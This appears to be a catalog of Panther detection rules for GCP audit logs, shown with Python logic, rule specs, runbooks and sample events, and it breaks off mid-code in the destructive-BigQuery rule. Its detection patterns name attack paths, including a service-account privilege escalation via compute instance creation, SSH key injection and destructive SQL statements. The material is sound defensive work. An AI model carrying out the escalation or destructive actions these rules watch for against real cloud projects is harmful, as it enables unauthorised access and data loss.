Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects updates to IAM policies for Compute Disks, Images, and Snapshots.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context, get_binding_deltas

SUSPICIOUS_ACTIONS = [
    "v1.compute.disks.setIamPolicy",
    "v1.compute.images.setIamPolicy",
    "v1.compute.snapshots.setIamPolicy",
]


def rule(event):
    if event.deep_get("protoPayload", "response", "error"):
        return False

    method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
    if method in SUSPICIOUS_ACTIONS:
        return True

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )

    items = event.deep_get("protoPayload", "methodName", default="ITEMS_NOT_FOUND. ").split(".")[-2]

    project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
    return f"[GCP]: [{actor}] updated IAM policy for [{items}] on project [{project}]"


def alert_context(event):
    context = gcp_alert_context(event)
    service_accounts = event.deep_get("protoPayload", "request", "serviceAccounts")
    if not service_accounts:
        service_account_emails = "<SERVICE_ACCOUNT_EMAILS_NOT_FOUND>"
    else:
        service_account_emails = [service_acc["email"] for service_acc in service_accounts]
    context["serviceAccount"] = service_account_emails
    context["binding_deltas"] = get_binding_deltas(event)
    return context

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Compute IAM Policy Update Detection
Enabled: true
Filename: gcp_compute_set_iam_policy.py
RuleID: "GCP.Compute.IAM.Policy.Update"
Severity: Medium
LogTypes:
  - GCP.AuditLog
Description: >
  This rule detects updates to IAM policies for Compute Disks, Images, and Snapshots.
Runbook: >
  Ensure that the IAM policy update was expected. Unauthorized changes can lead to security risks.
Reference: https://cloud.google.com/compute/docs/access/iam

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.error is empty
  • protoPayload.methodName is one of v1.compute.disks.setIamPolicy, v1.compute.images.setIamPolicy, v1.compute.snapshots.setIamPolicy

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • v1.compute.disks.setIamPolicy
  • v1.compute.images.setIamPolicy
  • v1.compute.snapshots.setIamPolicy
field:"protoPayload.methodName" kind:in
protoPayload.response.erroris_null
  • (no value, null check)
field:"protoPayload.response.error" kind:is_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Ensure that the IAM policy update was expected. Unauthorized changes can lead to security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1abcd23efg456",
  "labels": {
    "compute.googleapis.com/root_trigger_id": "trigger-id-1"
  },
  "logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@example.com",
      "principalSubject": "serviceAccount:user@example.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/test-project/serviceAccounts/user@example.com/keys/key-id"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "compute.disks.setIamPolicy",
        "resource": "projects/test-project/zones/us-central1-a/disks/disk-1",
        "resourceAttributes": {
          "name": "projects/test-project/zones/us-central1-a/disks/disk-1",
          "service": "compute",
          "type": "compute.disks"
        }
      }
    ],
    "methodName": "v1.compute.disks.setIamPolicy",
    "request": {
      "@type": "type.googleapis.com/compute.disks.setIamPolicy",
      "policy": {
        "bindings": [
          {
            "members": [
              "user:anonymized@example.com"
            ],
            "role": "roles/owner"
          }
        ]
      }
    },
    "requestMetadata": {
      "callerIP": "192.0.2.1",
      "callerSuppliedUserAgent": "google-cloud-sdk",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-10-01T12:34:56.789Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us-central1-a"
      ]
    },
    "resourceName": "projects/test-project/zones/us-central1-a/disks/disk-1",
    "serviceName": "compute.googleapis.com"
  },
  "receiveTimestamp": "2023-10-01T12:34:57.123Z",
  "resource": {
    "labels": {
      "disk_id": "disk-id-1",
      "project_id": "test-project",
      "zone": "us-central1-a"
    },
    "type": "gce_disk"
  },
  "severity": "NOTICE",
  "timestamp": "2023-10-01T12:34:56.789Z"
}

GCP Compute SSH Connection

#
Status
Experimental
Severity
informational
Entities
domain_names, emails, ip_addresses, usernames
Log types
GCP.AuditLog
Tags
GCP, GCP.AuditLog, SSH, Compute
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detect any SSH connections to a Compute Instance.

Telemetry coverage

Detection logic

from panther_core import PantherEvent
from panther_gcp_helpers import gcp_alert_context


def rule(event: PantherEvent) -> bool:
    service_name = event.deep_get("protoPayload", "serviceName", default="")
    method_name = event.deep_get("protoPayload", "methodName", default="")

    if service_name == "iap.googleapis.com" and method_name == "AuthorizeUser":
        return True

    if service_name == "oslogin.googleapis.com":
        if any([method_name.endswith(".CheckPolicy"), method_name.endswith(".ContinueSession")]):
            return True

    if service_name == "compute.googleapis.com":
        # Check attempts to add SSH keys to the VM
        # setCommonInstanceMetadata is triggered when SSHing from a remote device
        # setMetadata is triggered when SSHing from the GCP Console
        ssh_keys = {"ssh-keys", "sshKeys"}  # Fields indicating the SSH keys were modified
        if any(
            [
                method_name.endswith(".setCommonInstanceMetadata"),
                method_name.endswith(".setMetadata"),
            ]
        ):
            # The metadata delta field could be for the project or the instance, and could indicate
            # something was removed or modified. We need to check all possible paths to the field
            # we need.
            modified_keys = set()
            for field1 in ["projectMetadataDelta", "instanceMetadataDelta"]:
                for field2 in ["addedMetadataKeys", "modifiedMetadataKeys"]:
                    modified_keys.update(
                        set(event.deep_get("protoPayload", "metadata", field1, field2, default=[]))
                    )
            return bool(modified_keys & ssh_keys)

    # Check direct connections to the serial console
    # The actual service name has the region included, so we just so an easy check here
    if service_name.endswith("ssh-serialport.googleapis.com"):
        if method_name == "google.ssh-serialport.v1.connect":
            return (
                "succeeded"
                in event.deep_get("protoPayload", "status", "message", default="").lower()
            )

    return False


def alert_context(event: PantherEvent) -> dict:
    instance_info = get_instance_info(event)
    context = {
        "instance_id": instance_info.get("id", "UNKNOWN INSTANCE ID"),
        "instance_name": instance_info.get("name", "UNKNOWN INSTANCE NAME"),
    }
    return gcp_alert_context(event) | context


def get_instance_info(event: PantherEvent) -> dict:
    service_name = event.deep_get("protoPayload", "serviceName", default="")

    context = {
        "id": "UNKNOWN INSTANCE ID",
        "name": "UNKNOWN INSTANCE NAME",
    }
    match service_name:
        case "iap.googleapis.com":
            # Name is not included in the event
            context |= {
                "id": event.deep_get(
                    "resource", "labels", "instance_id", default="UNKNOWN INSTANCE ID"
                )
            }
        case "oslogin.googleapis.com":
            context |= {
                "id": event.deep_get("labels", "instance_id", default="UNKNOWN INSTANCE ID"),
                "name": event.deep_get(
                    "protoPayload", "request", "instance", default="UNKNOWN INSTANCE NAME"
                ),
            }
        case "compute.googleapis.com":
            if event.deep_get("protoPayload", "methodName", default="").endswith(
                ".setCommonInstanceMetadata"
            ):
                # These events are targeted prokect-wide, so they don't have information about
                # specific instances.
                pass
            else:
                context |= {
                    # Will look like: projects/project-name/zones/zone-name/instances/instance-name
                    "name": event.deep_get(
                        "protoPayload", "resourceName", default="/UNKNOWN INSTANCE NAME"
                    ).split("/")[-1],
                }

    if "serialport" in service_name:
        context |= {
            "id": event.deep_get(
                "resource", "labels", "instance_id", default="UNKNOWN INSTANCE ID"
            ),
            # Will look like:
            # projects/projectName/zones/zoneName/instances/instanceName/SerialPort/portNum
            "name": event.deep_get(
                "protoPayload", "resourceName", default="/UNKNOWN INSTANCE NAME//"
            ).split("/")[-3],
        }
    return context

Rule specification

AnalysisType: rule
Filename: gcp_compute_ssh_connection.py
RuleID: "GCP.Compute.SSHConnection"
DisplayName: GCP Compute SSH Connection
Enabled: true
LogTypes:
  - GCP.AuditLog
Severity: Info
CreateAlert: true
Description: >
  Detect any SSH connections to a Compute Instance.
Reference: >
  https://cloud.google.com/compute/docs/connect/ssh-best-practices/auditing
Tags:
  - GCP
  - GCP.AuditLog
  - SSH
  - Compute
Status: Experimental

Stages and Predicates

Fires on GCP.AuditLog events when any of the conditions below holds.

Condition

  • any of:
    • all of:
      • protoPayload.serviceName is iap.googleapis.com
      • protoPayload.methodName is AuthorizeUser
    • all of:
      • protoPayload.serviceName is oslogin.googleapis.com
      • any of:
        • protoPayload.methodName ends with .CheckPolicy
        • protoPayload.methodName ends with .ContinueSession
    • all of:
      • protoPayload.serviceName is compute.googleapis.com
      • any of:
        • protoPayload.methodName ends with .setCommonInstanceMetadata
        • protoPayload.methodName ends with .setMetadata
    • all of:
      • protoPayload.serviceName ends with ssh-serialport.googleapis.com
      • protoPayload.methodName is google.ssh-serialport.v1.connect
      • protoPayload.status.message contains succeeded (case-insensitive)

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNameends_with
  • .CheckPolicy
  • .ContinueSession
  • .setCommonInstanceMetadata
  • .setMetadata
field:"protoPayload.methodName" kind:ends_with
protoPayload.methodNameeq
  • AuthorizeUser
  • google.ssh-serialport.v1.connect
field:"protoPayload.methodName" kind:eq
protoPayload.serviceNameends_with
  • ssh-serialport.googleapis.com
field:"gcp::service_name" kind:ends_with value:"ssh-serialport.googleapis.com"
protoPayload.serviceNameeq
  • compute.googleapis.com
  • iap.googleapis.com
  • oslogin.googleapis.com
field:"gcp::service_name" kind:eq
protoPayload.status.messagecontains
  • succeeded transforms: tolower
field:"protoPayload.status.message" kind:contains value:"succeeded"

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "1rk2tche2xh0e",
  "logName": "projects/example-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "operation": {
    "id": "Q444-UYUD-GBRY-QFUF-AS7Q-6A6E",
    "producer": "iap.googleapis.com"
  },
  "p_any_emails": [
    "denethor@lotr.com"
  ],
  "p_any_ip_addresses": [
    "1.1.1.1"
  ],
  "p_any_usernames": [
    "user"
  ],
  "p_event_time": "2025-05-27 16:46:46.485356507",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2025-05-27 19:05:21.311995228",
  "p_row_id": "00000000001029dcce464e32dded45ed",
  "p_schema_version": 0,
  "p_source_id": "bd7da315-647e-4eca-bcfe-083fab18f3f1",
  "p_source_label": "gcp-logsource",
  "p_udm": {
    "source": {
      "address": "1.1.1.1",
      "ip": "1.1.1.1"
    },
    "user": {
      "email": "denethor@lotr.com"
    }
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "denethor@lotr.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iap.tunnelInstances.accessViaIAP",
        "resource": "projects/222222222222/iap_tunnel/zones/us-central1-f/instances/1234567890123456789",
        "resourceAttributes": {
          "name": "projects/222222222222/iap_tunnel/zones/us-central1-f/instances/1234567890123456789",
          "service": "iap.googleapis.com",
          "type": "iap.googleapis.com/TunnelInstance"
        }
      }
    ],
    "metadata": {
      "device_id": "",
      "device_state": "Unknown",
      "iap_tcp_session_info": {
        "bytes_received": 6922,
        "bytes_sent": 2874,
        "phase": "SESSION_END"
      },
      "oauth_client_id": "",
      "request_id": "1640143122448486764"
    },
    "methodName": "AuthorizeUser",
    "request": {
      "@type": "type.googleapis.com/cloud.security.gatekeeper.AuthorizeUserRequest",
      "httpRequest": {
        "url": ""
      }
    },
    "requestMetadata": {
      "callerIP": "1.1.1.1",
      "callerSuppliedUserAgent": "(none supplied)",
      "destinationAttributes": {
        "ip": "1.2.3.4",
        "port": "22"
      },
      "requestAttributes": {
        "auth": {},
        "time": "2025-05-27T16:46:46.500915047Z"
      }
    },
    "resourceName": "1234567890123456789",
    "serviceName": "iap.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2025-05-27 16:46:48.028847516",
  "resource": {
    "labels": {
      "instance_id": "1234567890123456789",
      "project_id": "example-project",
      "zone": "us-central1-f"
    },
    "type": "gce_instance"
  },
  "severity": "INFO",
  "timestamp": "2025-05-27 16:46:46.485356507"
}

GCP compute.instances.create Privilege Escalation

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

Detects compute.instances.create method for privilege escalation in GCP. This rule identifies when users create compute instances with service accounts that may lead to privilege escalation. Known good service accounts (GKE, Kubernetes, compute automation) are excluded to reduce false positives.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context

REQUIRED_PERMISSIONS = [
    "compute.disks.create",
    "compute.instances.create",
    "compute.instances.setMetadata",
    "compute.instances.setServiceAccount",
    "compute.subnetworks.use",
    "compute.subnetworks.useExternalIp",
]


def rule(event):
    if event.deep_get("protoPayload", "response", "error"):
        return False

    method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
    if not method.endswith("compute.instances.insert"):
        return False

    # Skip allowlisted actors
    principal = event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
    if principal.endswith("@cloudservices.gserviceaccount.com"):
        return False

    granted_permissions = {}
    for auth in event.deep_walk("protoPayload", "authorizationInfo") or []:
        granted_permissions[auth.get("permission")] = auth.get("granted")
    for permission in REQUIRED_PERMISSIONS:
        if not granted_permissions.get(permission):
            return False

    return True


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )

    service_accounts = event.deep_get("protoPayload", "request", "serviceAccounts")
    if not service_accounts:
        service_account_emails = "<SERVICE_ACCOUNT_EMAILS_NOT_FOUND>"
    else:
        service_account_emails = [service_acc["email"] for service_acc in service_accounts]

    project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
    return (
        f"[GCP]: [{actor}] created a new Compute Engine instance with [{service_account_emails}] "
        f"Service Account on project [{project}]"
    )


def alert_context(event):
    context = gcp_alert_context(event)
    service_accounts = event.deep_get("protoPayload", "request", "serviceAccounts")
    if not service_accounts:
        service_account_emails = "<SERVICE_ACCOUNT_EMAILS_NOT_FOUND>"
    else:
        service_account_emails = [service_acc["email"] for service_acc in service_accounts]
    context["serviceAccount"] = service_account_emails
    return context

Rule specification

AnalysisType: rule
LogTypes:
  - GCP.AuditLog
Description: >
  Detects compute.instances.create method for privilege escalation in GCP. This rule identifies when users
  create compute instances with service accounts that may lead to privilege escalation. Known good service accounts
  (GKE, Kubernetes, compute automation) are excluded to reduce false positives.
DisplayName: "GCP compute.instances.create Privilege Escalation"
RuleID: "GCP.compute.instances.create.Privilege.Escalation"
Enabled: true
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook: |
  1. Validate whether this compute instance creation with service account was authorized.
  2. Check if the service account attached has excessive privileges.
  3. Verify if the user creating the instance has a legitimate need for the service account permissions.
  4. If unauthorized, revoke the instance access and investigate for compromise.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548 # Abuse Elevation Control Mechanism
Severity: High
Filename: gcp_computeinstances_create_privilege_escalation.py
DedupPeriodMinutes: 1440
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.error is empty
  • protoPayload.methodName ends with compute.instances.insert
  • protoPayload.authenticationInfo.principalEmail does not end with @cloudservices.gserviceaccount.com

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 1d group into one alert

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailends_with@cloudservices.gserviceaccount.comexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"@cloudservices.gserviceaccount.com"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

1. Validate whether this compute instance creation with service account was authorized.

2. Check if the service account attached has excessive privileges.

3. Verify if the user creating the instance has a legitimate need for the service account permissions.

4. If unauthorized, revoke the instance access and investigate for compromise.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some.user@company.com",
      "principalSubject": "user:some.user@company.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "compute.instances.create",
        "resource": "projects/some-project/zones/us-central1-f/instances/abc",
        "resourceAttributes": {
          "name": "projects/some-project/zones/us-central1-f/instances/abc",
          "service": "compute",
          "type": "compute.instances"
        }
      },
      {
        "granted": true,
        "permission": "compute.disks.create",
        "resource": "projects/some-project/zones/us-central1-f/disks/abc",
        "resourceAttributes": {
          "name": "projects/some-project/zones/us-central1-f/disks/abc",
          "service": "compute",
          "type": "compute.disks"
        }
      },
      {
        "granted": true,
        "permission": "compute.subnetworks.use",
        "resource": "projects/some-project/regions/us-central1/subnetworks/default",
        "resourceAttributes": {
          "name": "projects/some-project/regions/us-central1/subnetworks/default",
          "service": "compute",
          "type": "compute.subnetworks"
        }
      },
      {
        "granted": true,
        "permission": "compute.subnetworks.useExternalIp",
        "resource": "projects/some-project/regions/us-central1/subnetworks/default",
        "resourceAttributes": {
          "name": "projects/some-project/regions/us-central1/subnetworks/default",
          "service": "compute",
          "type": "compute.subnetworks"
        }
      },
      {
        "granted": true,
        "permission": "compute.instances.setMetadata",
        "resource": "projects/some-project/zones/us-central1-f/instances/abc",
        "resourceAttributes": {
          "name": "projects/some-project/zones/us-central1-f/instances/abc",
          "service": "compute",
          "type": "compute.instances"
        }
      },
      {
        "granted": true,
        "permission": "compute.instances.setServiceAccount",
        "resource": "projects/some-project/zones/us-central1-f/instances/abc",
        "resourceAttributes": {
          "name": "projects/some-project/zones/us-central1-f/instances/abc",
          "service": "compute",
          "type": "compute.instances"
        }
      }
    ],
    "methodName": "v1.compute.instances.insert",
    "request": {
      "@type": "type.googleapis.com/compute.instances.insert",
      "disks": "...",
      "machineType": "...",
      "name": "...",
      "networkInterfaces": "...",
      "serviceAccounts": [
        {
          "email": "abcmail@some-project.iam.gserviceaccount.com",
          "scopes": [
            "https://www.googleapis.com/auth/cloud-platform",
            "https://www.googleapis.com/auth/iam"
          ]
        }
      ]
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "(gzip),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-01-30T12:52:36.003867Z"
      }
    },
    "resourceLocation": "...",
    "resourceName": "projects/some-project/zones/us-central1-f/instances/abc",
    "response": {
      "@type": "type.googleapis.com/operation",
      "id": "8758546889396539388",
      "insertTime": "2024-01-30T04:52:35.886-08:00",
      "name": "operation-1706619154623-610293c7a6a25-934f1c35-1efebb12",
      "operationType": "insert",
      "progress": "0",
      "selfLink": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f/operations/operation-1706619154623-610293c7a6a25-934f1c35-1efebb12",
      "selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f/operations/8758546889396539388",
      "startTime": "2024-01-30T04:52:35.887-08:00",
      "status": "RUNNING",
      "targetId": "1454427709413609468",
      "targetLink": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f/instances/abc",
      "user": "some.user@company.com",
      "zone": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f"
    },
    "serviceName": "compute.googleapis.com"
  },
  "receiveTimestamp": "2024-01-30 12:52:36.642422049",
  "resource": {
    "labels": {
      "instance_id": "1454427709413609468",
      "project_id": "some-project",
      "zone": "us-central1-f"
    },
    "type": "gce_instance"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-30 12:52:34.676384000"
}

GCP Corporate Email Not Used

#
Severity
low
Compliance
CIS 1.1
Log types
GCP.AuditLog
Tags
GCP, Identity & Access Management, Persistence:Create Account
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Unexpected domain is being used instead of a corporate email

MITRE ATT&CK coverage

TacticTechniques
Persistence

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from fnmatch import fnmatch

from panther_base_helpers import deep_get

# These patterns indicate members which might be added by default by some GCP services
ACCEPTED_MEMBER_PATTERNS = [
    "serviceAccount:*@*.gserviceaccount.com",
    "serviceAccount:*.svc.id.goog[*",
    "principalSet://iam.googleapis.com/projects/*/workloadIdentityPools/*",
]


def rule(event):
    if event.deep_get("protoPayload", "methodName") != "SetIamPolicy":
        return False

    service_data = event.deep_get("protoPayload", "serviceData")
    if not service_data:
        return False

    authenticated = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default=""
    )
    expected_domain = authenticated.split("@")[-1]

    binding_deltas = deep_get(service_data, "policyDelta", "bindingDeltas")
    if not binding_deltas:
        return False

    for delta in binding_deltas:
        if delta.get("action") != "ADD":
            continue
        member = delta.get("member", "")
        if any(fnmatch(member, pattern) for pattern in ACCEPTED_MEMBER_PATTERNS):
            continue  # Skip this member, check others
        if member.endswith(f"@{expected_domain}"):
            continue  # Skip this member, check others
        return True  # Found a suspicious member - alert
    return False  # No suspicious members found


def title(event):
    return (
        f"A GCP IAM account has been created with an unexpected email domain in "
        f"{event.deep_get('resource', 'labels', 'project_id', default='<UNKNOWN_PROJECT>')}"
    )

Rule specification

AnalysisType: rule
Filename: gcp_iam_corp_email.py
RuleID: "GCP.IAM.CorporateEmail"
DisplayName: "GCP Corporate Email Not Used"
Enabled: true
DedupPeriodMinutes: 720 # 12 hours
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Identity & Access Management
  - Persistence:Create Account
Reports:
  MITRE ATT&CK:
    - TA0003:T1136
  CIS:
    - 1.1
Severity: Low
Description: Unexpected domain is being used instead of a corporate email
Runbook: Remove the user
Reference: https://cloud.google.com/iam/docs/service-account-overview
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is SetIamPolicy
  • protoPayload.serviceData is present
  • protoPayload.serviceData.policyDelta.bindingDeltas is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 12h group into one alert

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
project_idresource.labels.project_id

Response runbook

Remove the user

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "mrbji0dal80",
  "logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "test@runpanther.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "resourcemanager.projects.setIamPolicy",
        "resource": "projects/western-verve-123456",
        "resourceAttributes": {}
      },
      {
        "granted": true,
        "permission": "resourcemanager.projects.setIamPolicy",
        "resource": "projects/western-verve-123456",
        "resourceAttributes": {}
      }
    ],
    "methodName": "SetIamPolicy",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "policy": {
        "bindings": [
          {
            "members": [
              "user:user-two@gmail.com"
            ],
            "role": "roles/appengine.serviceAdmin"
          },
          {
            "members": [
              "serviceAccount:service-951849100836@compute-system.iam.gserviceaccount.com"
            ],
            "role": "roles/compute.serviceAgent"
          },
          {
            "members": [
              "serviceAccount:951849100836-compute@developer.gserviceaccount.com",
              "serviceAccount:951849100836@cloudservices.gserviceaccount.com"
            ],
            "role": "roles/editor"
          },
          {
            "members": [
              "user:test@runpanther.com"
            ],
            "role": "roles/owner"
          },
          {
            "members": [
              "user:user-two@gmail.com"
            ],
            "role": "roles/pubsub.admin"
          },
          {
            "members": [
              "serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
            ],
            "role": "roles/pubsub.subscriber"
          },
          {
            "members": [
              "serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
            ],
            "role": "roles/pubsub.viewer"
          },
          {
            "members": [
              "user:test@runpanther.com"
            ],
            "role": "roles/resourcemanager.organizationAdmin"
          },
          {
            "members": [
              "user:username@gmail.com"
            ],
            "role": "roles/viewer"
          }
        ],
        "etag": "BwWk8zJlg2o="
      },
      "resource": "western-verve-123456"
    },
    "requestMetadata": {
      "callerIp": "136.24.229.58",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {}
    },
    "resourceName": "projects/western-verve-123456",
    "response": {
      "@type": "type.googleapis.com/google.iam.v1.Policy",
      "bindings": [
        {
          "members": [
            "user:user-two@gmail.com"
          ],
          "role": "roles/appengine.serviceAdmin"
        },
        {
          "members": [
            "serviceAccount:service-951849100836@compute-system.iam.gserviceaccount.com"
          ],
          "role": "roles/compute.serviceAgent"
        },
        {
          "members": [
            "serviceAccount:951849100836-compute@developer.gserviceaccount.com",
            "serviceAccount:951849100836@cloudservices.gserviceaccount.com"
          ],
          "role": "roles/editor"
        },
        {
          "members": [
            "user:test@runpanther.com"
          ],
          "role": "roles/owner"
        },
        {
          "members": [
            "user:user-two@gmail.com"
          ],
          "role": "roles/pubsub.admin"
        },
        {
          "members": [
            "serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
          ],
          "role": "roles/pubsub.subscriber"
        },
        {
          "members": [
            "serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
          ],
          "role": "roles/pubsub.viewer"
        },
        {
          "members": [
            "user:test@runpanther.com"
          ],
          "role": "roles/resourcemanager.organizationAdmin"
        },
        {
          "members": [
            "user:username@gmail.com"
          ],
          "role": "roles/viewer"
        }
      ],
      "etag": "BwWlp7rH6tY="
    },
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {
        "bindingDeltas": [
          {
            "action": "ADD",
            "member": "user:username@gmail.com",
            "role": "roles/viewer"
          }
        ]
      }
    },
    "serviceName": "cloudresourcemanager.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2020-05-15T03:51:35.977314225Z",
  "resource": {
    "labels": {
      "project_id": "western-verve-123456"
    },
    "type": "project"
  },
  "severity": "NOTICE",
  "timestamp": "2020-05-15T03:51:35.019Z"
}

GCP Destructive Queries

#
Severity
informational
Entities
emails, ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detect any destructive BigQuery queries or jobs such as update, delete, drop, alter or truncate.

Detection logic

DESTRUCTIVE_STATEMENTS = ["UPDATE", "DELETE", "DROP_TABLE", "ALTER_TABLE", "TRUNCATE_TABLE"]


def rule(event):
    if all(
        [
            event.deep_get("resource", "type", default="<RESOURCE_NOT_FOUND>").startswith(
                "bigquery"
            ),
            event.deep_get("protoPayload", "metadata", "jobChange", "job", "jobConfig", "type")
            == "QUERY",
            event.deep_get(
                "protoPayload",
                "metadata",
                "jobChange",
                "job",
                "jobConfig",
                "queryConfig",
                "statementType",
                default="<STATEMENT_NOT_FOUND>",
            )
            in DESTRUCTIVE_STATEMENTS,
        ]
    ):
        return True

    if event.deep_get("protoPayload", "metadata", "tableDeletion"):
        return True

    if event.deep_get("protoPayload", "metadata", "datasetDeletion"):
        return True

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    statement = event.deep_get(
        "protoPayload",
        "metadata",
        "jobChange",
        "job",
        "jobConfig",
        "queryConfig",
        "statementType",
        default="<STATEMENT_NOT_FOUND>",
    )
    if (
        event.deep_get("protoPayload", "metadata", "jobChange", "job", "jobConfig", "type")
        == "QUERY"
    ):
        return f"GCP: [{actor}] performed a destructive BigQuery [{statement}] query"

    if event.deep_get("protoPayload", "metadata", "tableDeletion"):
        return f"GCP: [{actor}] deleted a table in BigQuery"

    if event.deep_get("protoPayload", "metadata", "datasetDeletion"):
        return f"GCP: [{actor}] deleted a dataset in BigQuery"

    # Default return value
    return f"GCP: [{actor}] performed a destructive BigQuery query"


def severity(event):
    statement = event.deep_get(
        "protoPayload",
        "metadata",
        "jobChange",
        "job",
        "jobConfig",
        "queryConfig",
        "statementType",
        default="<STATEMENT_NOT_FOUND>",
    )
    if statement in ("UPDATE", "DELETE"):
        return "INFO"
    return "DEFAULT"


def alert_context(event):
    return {
        "query": event.deep_get(
            "protoPayload",
            "metadata",
            "jobChange",
            "job",
            "jobConfig",
            "queryConfig",
            "query",
            default="<QUERY_NOT_FOUND>",
        ),
        "actor": event.deep_get(
            "protoPayload",
            "authenticationInfo",
            "principalEmail",
            default="<ACTOR_NOT_FOUND>",
        ),
        "statement": event.deep_get(
            "protoPayload",
            "metadata",
            "jobChange",
            "job",
            "jobConfig",
            "queryConfig",
            "statementType",
